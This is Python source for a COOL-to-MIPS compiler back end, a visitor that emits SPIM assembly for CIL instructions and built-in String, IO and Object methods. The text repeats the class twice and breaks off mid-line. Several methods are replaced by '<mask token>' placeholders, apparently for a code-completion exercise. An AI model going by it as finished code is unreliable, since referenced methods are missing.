{}'.format(self.type_index.index(STRING_CLASS)) ) self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') self.write_file(f'_eq_str_{node.id}_:', tabbed=False) self.write_file('lw\t$t3 12($t0)') self.write_file('lw\t$t3 12($t3)') self.write_file('lw\t$t4, 12($t1)') self.write_file('lw\t$t4, 12($t4)') self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') self.write_file('addu $t0 $t0 16') self.write_file('lw $t0 0($t0)') self.write_file('addu $t1 $t1 16') self.write_file('lw $t1 0($t1)') self.write_file('move $t2 $t3') self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False) self.write_file('lb $a0 0($t0)') self.write_file('lb $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('addu $t0 $t0 1') self.write_file('addu $t1 $t1 1') self.write_file('addiu $t2 $t2 -1') self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False) self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False) self.write_file('lw $a3 12($t0)') self.write_file('lw $t4 12($t1)') self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') self.write_file(f'_eq_true_{node.id}_:', tabbed=False) self.write_file('li $a0 1') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b end_equal_{node.id}_') self.write_file(f'_eq_false_{node.id}_:', tabbed=False) self.write_file('li $a0 0') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'end_equal_{node.id}_:', tabbed=False) <mask token> @visitor.when(cil.EqualOrLessThan) def visit(self, node: cil.EqualOrLessThan): self.write_file('# <=') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.GetAttrib) def visit(self, node: cil.GetAttrib): self.write_file('# GETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.SetAttrib) def visit(self, node: cil.SetAttrib): self.write_file('# SETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') if isinstance(node.src, int): self.write_file(f'li $a0, {node.src}') elif node.src[:5] == 'data_': self.write_file(f'la $a0, {node.src}') else: self.write_file(f'lw $a0 {self.offset[node.src]}($fp)') self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)') self.write_file('') @visitor.when(cil.TypeOf) def visit(self, node: cil.TypeOf): self.write_file('# TYPEOF') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 0($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.Allocate) def visit(self, node: cil.Allocate): self.write_file('# ALLOCATE') if node.ttype == VOID_TYPE: self.write_file(f'la $v0 {VOID_MIPS_NAME}') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') else: offset_proto = self.type_index.index(node.ttype) * 8 self.write_file('lw $t0 {}($s0)'.format(offset_proto)) self.write_file('sw $t0, 0($sp)') self.write_file('addiu $sp, $sp, -4') self.write_file('') self.visit(cil.Call(dest=node.dest, f='Object_copy')) self.write_file('addiu $sp, $sp, 4') self.write_file('') @visitor.when(cil.Call) def visit(self, node: cil.Call): self.write_file('# CALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') self.write_file(f'jal function_{node.f}') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') if node.dest: self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.VCall) def visit(self, node: cil.VCall): self.write_file('# VCALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') if node.ttype[0] == '_': self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') else: self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') self.write_file(f'mulu $a2, $a2, 8') self.write_file(f'addu $a2, $a2, $s0') self.write_file(f'lw $a1, 0($a2)') self.write_file(f'lw $a2, 8($a1)') self.write_file(f'lw $a0 {node.f * 4}($a2)') self.write_file(f'jalr $a0') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') if node.ttype[0] != '_': self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') else: self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') self.write_file('') @visitor.when(cil.PushParam) def visit(self, node: cil.PushParam): self.write_file('# PUSHPARAM') if node.name[0] != '_': self.write_file('li $a0, {}'.format(self.type_index.index(node. name))) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name])) self.push() self.write_file('') @visitor.when(cil.PopParam) def visit(self, node: cil.PopParam): self.write_file('# POPPARAM') self.pop(node.name) self.write_file('') @visitor.when(cil.Return) def visit(self, node: cil.Return): self.write_file('# RETURN') self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value])) @visitor.when(cil.Label) def visit(self, node: cil.Label): self.write_file('_cil_label_{}:'.format(node.name), tabbed=False) @visitor.when(cil.Goto) def visit(self, node: cil.Goto): self.write_file('# GOTO') self.write_file('j _cil_label_{}'.format(node.label)) self.write_file('') @visitor.when(cil.IfGoto) def visit(self, node: cil.IfGoto): self.write_file('# IF GOTO') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition])) self.write_file('bnez $a0, _cil_label_{}'.format(node.label)) self.write_file('') <mask token> <mask token> <mask token> def object_copy(self): self.write_file('function_Object_copy:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $t0 12($fp)') self.write_file('lw $a0 4($t0)') self.write_file('move $t4 $a0') self.write_file('li $v0 9') self.write_file('syscall') self.write_file('move $t2 $v0') self.write_file('li $t3 0') self.write_file('_objcopy_loop:', tabbed=False) self.write_file('lw $t1 0($t0)') self.write_file('sw $t1 0($v0)') self.write_file('addiu $t0 $t0 4') self.write_file('addiu $v0 $v0 4') self.write_file('addiu $t3 $t3 4') self.write_file('ble $t4 $t3 _objcopy_loop') self.write_file('_objcopy_div_end_:', tabbed=False) self.write_file('move $v0 $t2') self.write_file('jr $ra') self.write_file('') def object_typename(self): self.write_file('function_Object_type_name:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('lw $a1 12($fp)') self.write_file('lw $a1 0($a1)') self.write_file('mulu $a1 $a1 4') self.write_file('addu $a1 $a1 $s1') self.write_file('lw $a1 0($a1)') self.write_file('move $a2 $0') self.write_file('move $t2 $a1') self.write_file('_str_len_clsname_:', tabbed=False) self.write_file('lb $a0 0($t2)') self.write_file('beq $a0 $0 _end_clsname_len_') self.write_file('addiu $a2 $a2 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _str_len_clsname_') self.write_file('_end_clsname_len_:', tabbed=False) self.write_file('sw $a2, 12($v0)') self.write_file('sw $v0, 12($v1)') self.write_file('sw $a1, 16($v1)') self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') def string_length(self): self.write_file('function_String_length:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 12($fp)') self.write_file('lw $v0 12($a0)') self.write_file('jr $ra') self.write_file('') def string_concat(self): self.write_file('function_String_concat:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $t3 $v0') self.write_file('lw $a1 12($fp)') self.write_file('lw $a2 16($fp)') self.write_file('lw $t1 12($a1)') self.write_file('lw $t1 12($t1)') self.write_file('lw $t2 12($a2)') self.write_file('lw $t2 12($t2)') self.write_file('addu $t0 $t2 $t1') self.write_file('sw $t0 12($v1)') self.write_file('lw $a1 16($a1)') self.write_file('lw $a2 16($a2)') self.write_file('addiu $t0 $t0 1') self.allocate_memory('$t0', register=True) self.write_file('move $t5 $v0') self.write_file('move $t4 $a1') self.write_file('addu $a1 $a1 $t1') self.write_file('_strcat_copy_:', tabbed=False) self.write_file('beq $t4 $a1 _end_strcat_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_') self.write_file('_end_strcat_copy_:', tabbed=False) self.write_file('move $t4 $a2') self.write_file('addu $a2 $a2 $t2') self.write_file('_strcat_copy_snd_:', tabbed=False) self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_snd_') self.write_file('_end_strcat_copy_snd_:', tabbed=False) self.write_file('sb $0 0($t5)') self.write_file('sw $v1 12($t3)') self.write_file('sw $v0 16($t3)') self.write_file('move $v0 $t3') self.write_file('jr $ra') self.write_file('') def string_substr(self): self.write_file('function_String_substr:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'lw $t5 12($fp)') self.write_file(f'lw $a1 16($fp)') self.write_file(f'lw $a1 12($a1)') self.write_file(f'lw $a2 20($fp)') self.write_file(f'lw $a2 12($a2)') self.write_file(f'blt $a1 $0 _index_negative') self.write_file(f'blt $a2 $0 _index_negative') self.write_file(f'add $a2 $a1 $a2') self.write_file(f'lw $a3 12($t5)') self.write_file(f'lw $a3 12($a3)') self.write_file(f'bgt $a2 $a3 _index_out') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file(f'move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file(f'move $t0 $v0') self.write_file(f'move $t7 $a2') self.write_file(f'subu $t7 $t7 $a1') self.write_file(f'sw $t7 12($t0)') self.allocate_memory('$a2', register=True) self.write_file(f'sw $t0 12($v1)') self.write_file(f'sw $v0 16($v1)') self.write_file('move $t1 $v0') self.write_file('lw $t5 16($t5)') self.write_file('move $t4 $t5') self.write_file('addu $t4 $t4 $a1') self.write_file('addu $t5 $t5 $a2') self.write_file('_substr_copy_:', tabbed=False) self.write_file('bge $t4 $t5 _end_substr_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t1)') self.write_file('addiu $t1 $t1 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _substr_copy_') self.write_file(f'_index_negative:', tabbed=False) self.write_file(f'la $a0 _index_negative_msg') self.write_file(f'b _subst_abort') self.write_file(f'_index_out:', tabbed=False) self.write_file(f'la $a0 _index_out_msg') self.write_file(f'b _subst_abort') self.write_file(f'_subst_abort:', tabbed=False) self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file('la\t$a0 _abort_msg') self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file(f'li $v0 10') self.write_file(f'syscall') self.write_file('_end_substr_copy_:', tabbed=False) self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') def io_in_int(self): self.write_file('function_IO_in_int:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $t0 $v0') self.write_file('li $v0 5') self.write_file('syscall') self.write_file('sw $v0 12($t0)') self.write_file('move $v0 $t0') self.write_file('jr $ra') self.write_file('') def io_in_string(self): self.write_file('function_IO_in_string:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('sw $v1 12($v0)') self.write_file('move $t5 $v0') self.write_file('la $a0 str_buffer') self.write_file('li $a1 1025') self.write_file('li $v0 8') self.write_file('syscall') self.write_file('move $a0 $0') self.write_file('la $t2 str_buffer') self.write_file('_in_string_str_len_:', tabbed=False) self.write_file('lb $t0 0($t2)') self.write_file('beq $t0 $0 _end_in_string_str_len_') self.write_file('beq $t0 10 _end_in_string_str_len_') self.write_file('addiu $a0 $a0 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _in_string_str_len_') self.write_file('_end_in_string_str_len_:', tabbed=False) self.write_file('sw $a0 12($v1)') self.allocate_memory() self.write_file('la $t4 str_buffer') self.write_file('move $t1 $v0') self.write_file('_in_str_copy_:', tabbed=False) self.write_file('lb $t0 0($t4)') self.write_file('beq $t0 $0 _end_in_str_copy_') self.write_file('beq $t0 10 _end_in_str_copy_') self.write_file('sb $t0 0($t1)') self.write_file('addiu $t4 $t4 1') self.write_file('addiu $t1 $t1 1') self.write_file('j _in_str_copy_') self.write_file('_end_in_str_copy_:', tabbed=False) self.write_file('sw $v0 16($t5)') self.write_file('la $t4 str_buffer') self.write_file('_in_str_clean_:', tabbed=False) self.write_file('lb $t0 0($t4)') self.write_file('beq $t0 $0 _end_in_str_clean_') self.write_file('sb $0 0($t4)') self.write_file('addiu $t4 $t4 1') self.write_file('j _in_str_clean_') self.write_file('_end_in_str_clean_:', tabbed=False) self.write_file('move $v0 $t5') self.write_file('jr $ra') self.write_file('') def io_out_int(self): self.write_file('function_IO_out_int:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') self.write_file('lw $a0 12($a0)') self.write_file('li $v0 1') self.write_file('syscall') self.write_file('lw $v0 12($fp)') self.write_file('jr $ra') self.write_file('') def io_out_string(self): self.write_file('function_IO_out_string:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') self.write_file('lw $a0 16($a0)') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('lw $v0 12($fp)') self.write_file('jr $ra') self.write_file('') def conforms(self): self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'lw $t0 12($fp)') self.write_file(f'lw $t1 16($fp)') self.write_file( f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_' ) self.write_file('_conforms_loop_:', tabbed=False) self.write_file('beq $t0 $t1 _conforms_ret_true_') self.write_file( f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_' ) self.write_file('mulu $t0 $t0 4') self.write_file('addu $t0 $t0 $s2') self.write_file('lw $t0 0($t0)') self.write_file('j _conforms_loop_') self.write_file('_conforms_ret_true_:', tabbed=False) self.write_file('li $v0 1') self.write_file('j _conforms_ret_') self.write_file('_conforms_ret_false_:', tabbed=False) self.write_file('li $v0 0') self.write_file('_conforms_ret_:') self.write_file('jr $ra') self.write_file('') def isvoid(self): self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS)) self.write_file(f'lw $t0 12($fp)') self.write_file(f'la $t1 {VOID_MIPS_NAME}') self.write_file(f'beq $t0 $t1 _is_void_true_') self.write_file(f'sw $0 12($v0)') self.write_file(f'j _is_void_end_') self.write_file(f'_is_void_true_:', tabbed=False) self.write_file(f'li $t0 1') self.write_file(f'sw $t0 12($v0)') self.write_file(f'_is_void_end_:', tabbed=False) self.write_file(f'jr $ra') self.write_file(f'')
<mask token> class MipsVisitor: <mask token> def __init__(self, inherit_graph, output_file='mips_code.mips'): self.inherit_graph, _ = inherit_graph self.offset = dict() self.type_index = [] self.dispatchtable_code = [] self.prototypes_code = [] self.cur_labels_id = 0 self.output_file = output_file def push(self): self.write_file('sw $a0 0($sp)') self.write_file('addiu $sp $sp -4') def pop(self, dest=None): self.write_file(f'addiu $sp $sp 4') def write_file(self, msg, mode='a', tabbed=True): f = open(self.output_file, mode) f.write('{}{}\n'.format('\t' if tabbed else '', msg)) f.close() def allocate_memory(self, size=None, register=False): if register: self.write_file('move $a0 {}'.format(size)) elif size: self.write_file('li $a0 {}'.format(size)) self.write_file('li $v0 9') self.write_file('syscall') <mask token> @visitor.on('node') def visit(self, node): pass @visitor.when(cil.Program) def visit(self, node: cil.Program): self.write_file('', 'w') self.write_file('.data', tabbed=False) self.static_datas() for data in node.data_section: self.visit(data) self.write_file('') for i in range(len(node.type_section)): self.type_index.append(node.type_section[i].type_name) self.write_file('classname_{}: .asciiz "{}"'.format(node. type_section[i].type_name, node.type_section[i].type_name)) self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""') self.write_file('\n.text') self.entry() self.write_file('\n########## STATIC FUNCTIONS ##########\n') self.conforms() self.isvoid() self.object_abort() self.object_copy() self.object_typename() self.string_length() self.string_concat() self.string_substr() self.io_in_int() self.io_in_string() self.io_out_int() self.io_out_string() for t in node.type_section: self.visit(t) self.write_file('\n############## TABLES ################\n') self.write_file('function_build_class_name_table:', tabbed=False) self.allocate_memory(len(node.type_section) * 4) self.write_file('move $s1 $v0') for i in range(len(node.type_section)): self.write_file('la $t1 classname_{}'.format(node.type_section[ i].type_name)) self.write_file('sw $t1 {}($s1)'.format(4 * i)) self.write_file('') self.write_file('function_allocate_prototypes_table:', tabbed=False) self.allocate_memory(8 * len(self.type_index)) self.write_file('move $s0 $v0') self.write_file('') self.write_file('function_build_prototypes:', tabbed=False) for ins in self.prototypes_code: self.write_file(ins) self.write_file('') self.write_file('function_build_dispatch_tables:', tabbed=False) for ins in self.dispatchtable_code: self.write_file(ins) self.write_file('') self.write_file('function_build_class_parents_table:', tabbed=False) self.allocate_memory(4 * len(self.type_index)) self.write_file('move $s2 $v0') self.write_file('') for parent in self.inherit_graph.keys(): p_index = self.type_index.index(parent) for child in self.inherit_graph[parent]: ch_index = self.type_index.index(child.name) self.write_file(f'li $t0 {ch_index}') self.write_file(f'mul $t0 $t0 4') self.write_file(f'add $t0 $t0 $s2') self.write_file(f'li $t1 {p_index}') self.write_file(f'sw $t1 0($t0)') self.write_file('') self.write_file('') self.write_file('\n########### COOL FUNCTIONS ##########\n') for func in node.code_section: is_built_in = False if not INIT_CIL_SUFFIX in func.name: is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != [] if not is_built_in: self.visit(func) self.write_file('\n#####################################\n') @visitor.when(cil.Data) def visit(self, node: cil.Data): self.write_file( f'{node.dest}: .asciiz "{str(node.value.encode())[2:-1]}"') @visitor.when(cil.Type) def visit(self, node: cil.Type): self.dispatchtable_code.append(f'# Type {node.type_name}') self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node. methods))) self.dispatchtable_code.append('li $v0 9') self.dispatchtable_code.append('syscall') for i in range(len(node.methods)): self.dispatchtable_code.append('la $t1 function_{}'.format(node .methods[i].function_name)) self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i)) self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self. type_index.index(node.type_name))) self.dispatchtable_code.append('sw $v0 8($t0)') self.dispatchtable_code.append('') self.prototypes_code.append(f'# Type {node.type_name}') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('li $v0 9') self.prototypes_code.append('syscall') class_index = self.type_index.index(node.type_name) self.prototypes_code.append('li $a0 {}'.format(class_index)) self.prototypes_code.append('sw $a0 0($v0)') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('sw $a0 4($v0)') self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index)) self.prototypes_code.append('') @visitor.when(cil.Function) def visit(self, node: cil.Function): self.write_file(f'function_{node.name}:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}') for i in range(len(node.args)): self.offset[node.args[i].name] = 12 + i * 4 for i in range(len(node.vlocals)): self.offset[node.vlocals[i].name] = i * -4 for inst in node.body: if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div): inst.id = self.new_labels_id() self.visit(inst) self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}') self.write_file('jr $ra') self.write_file('') @visitor.when(cil.Assign) def visit(self, node: cil.Assign): self.write_file('# ASSIGN') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Plus) def visit(self, node: cil.Plus): self.write_file('# +') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('add $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Minus) def visit(self, node: cil.Minus): self.write_file('# -') if isinstance(node.left, int): self.write_file('li $a0 {}'.format(node.left)) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('sub $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Mult) def visit(self, node: cil.Mult): self.write_file('# *') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('mul $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Div) def visit(self, node: cil.Div): self.write_file('# /') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file(f'beqz $a1 _div_error_{node.id}_') self.write_file('div $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b _div_end_{node.id}_') self.write_file(f'_div_error_{node.id}_:', tabbed=False) self.write_file('la $a0 _div_zero_msg') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('la $a0 _abort_msg') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('li $v0 10') self.write_file('syscall') self.write_file(f'_div_end_{node.id}_:', tabbed=False) @visitor.when(cil.Equal) def visit(self, node: cil.Equal): self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left])) self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right])) self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') self.write_file('lw $a0 0($t0)') self.write_file('lw $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('li $a2 {}'.format(self.type_index.index( INTEGER_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 {}'.format(self.type_index.index( BOOLEAN_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS)) ) self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') self.write_file(f'_eq_str_{node.id}_:', tabbed=False) self.write_file('lw\t$t3 12($t0)') self.write_file('lw\t$t3 12($t3)') self.write_file('lw\t$t4, 12($t1)') self.write_file('lw\t$t4, 12($t4)') self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') self.write_file('addu $t0 $t0 16') self.write_file('lw $t0 0($t0)') self.write_file('addu $t1 $t1 16') self.write_file('lw $t1 0($t1)') self.write_file('move $t2 $t3') self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False) self.write_file('lb $a0 0($t0)') self.write_file('lb $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('addu $t0 $t0 1') self.write_file('addu $t1 $t1 1') self.write_file('addiu $t2 $t2 -1') self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False) self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False) self.write_file('lw $a3 12($t0)') self.write_file('lw $t4 12($t1)') self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') self.write_file(f'_eq_true_{node.id}_:', tabbed=False) self.write_file('li $a0 1') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b end_equal_{node.id}_') self.write_file(f'_eq_false_{node.id}_:', tabbed=False) self.write_file('li $a0 0') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'end_equal_{node.id}_:', tabbed=False) <mask token> @visitor.when(cil.EqualOrLessThan) def visit(self, node: cil.EqualOrLessThan): self.write_file('# <=') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.GetAttrib) def visit(self, node: cil.GetAttrib): self.write_file('# GETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.SetAttrib) def visit(self, node: cil.SetAttrib): self.write_file('# SETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') if isinstance(node.src, int): self.write_file(f'li $a0, {node.src}') elif node.src[:5] == 'data_': self.write_file(f'la $a0, {node.src}') else: self.write_file(f'lw $a0 {self.offset[node.src]}($fp)') self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)') self.write_file('') @visitor.when(cil.TypeOf) def visit(self, node: cil.TypeOf): self.write_file('# TYPEOF') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 0($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.Allocate) def visit(self, node: cil.Allocate): self.write_file('# ALLOCATE') if node.ttype == VOID_TYPE: self.write_file(f'la $v0 {VOID_MIPS_NAME}') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') else: offset_proto = self.type_index.index(node.ttype) * 8 self.write_file('lw $t0 {}($s0)'.format(offset_proto)) self.write_file('sw $t0, 0($sp)') self.write_file('addiu $sp, $sp, -4') self.write_file('') self.visit(cil.Call(dest=node.dest, f='Object_copy')) self.write_file('addiu $sp, $sp, 4') self.write_file('') @visitor.when(cil.Call) def visit(self, node: cil.Call): self.write_file('# CALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') self.write_file(f'jal function_{node.f}') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') if node.dest: self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.VCall) def visit(self, node: cil.VCall): self.write_file('# VCALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') if node.ttype[0] == '_': self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') else: self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') self.write_file(f'mulu $a2, $a2, 8') self.write_file(f'addu $a2, $a2, $s0') self.write_file(f'lw $a1, 0($a2)') self.write_file(f'lw $a2, 8($a1)') self.write_file(f'lw $a0 {node.f * 4}($a2)') self.write_file(f'jalr $a0') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') if node.ttype[0] != '_': self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') else: self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') self.write_file('') @visitor.when(cil.PushParam) def visit(self, node: cil.PushParam): self.write_file('# PUSHPARAM') if node.name[0] != '_': self.write_file('li $a0, {}'.format(self.type_index.index(node. name))) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name])) self.push() self.write_file('') @visitor.when(cil.PopParam) def visit(self, node: cil.PopParam): self.write_file('# POPPARAM') self.pop(node.name) self.write_file('') @visitor.when(cil.Return) def visit(self, node: cil.Return): self.write_file('# RETURN') self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value])) @visitor.when(cil.Label) def visit(self, node: cil.Label): self.write_file('_cil_label_{}:'.format(node.name), tabbed=False) @visitor.when(cil.Goto) def visit(self, node: cil.Goto): self.write_file('# GOTO') self.write_file('j _cil_label_{}'.format(node.label)) self.write_file('') @visitor.when(cil.IfGoto) def visit(self, node: cil.IfGoto): self.write_file('# IF GOTO') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition])) self.write_file('bnez $a0, _cil_label_{}'.format(node.label)) self.write_file('') <mask token> <mask token> <mask token> def object_copy(self): self.write_file('function_Object_copy:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $t0 12($fp)') self.write_file('lw $a0 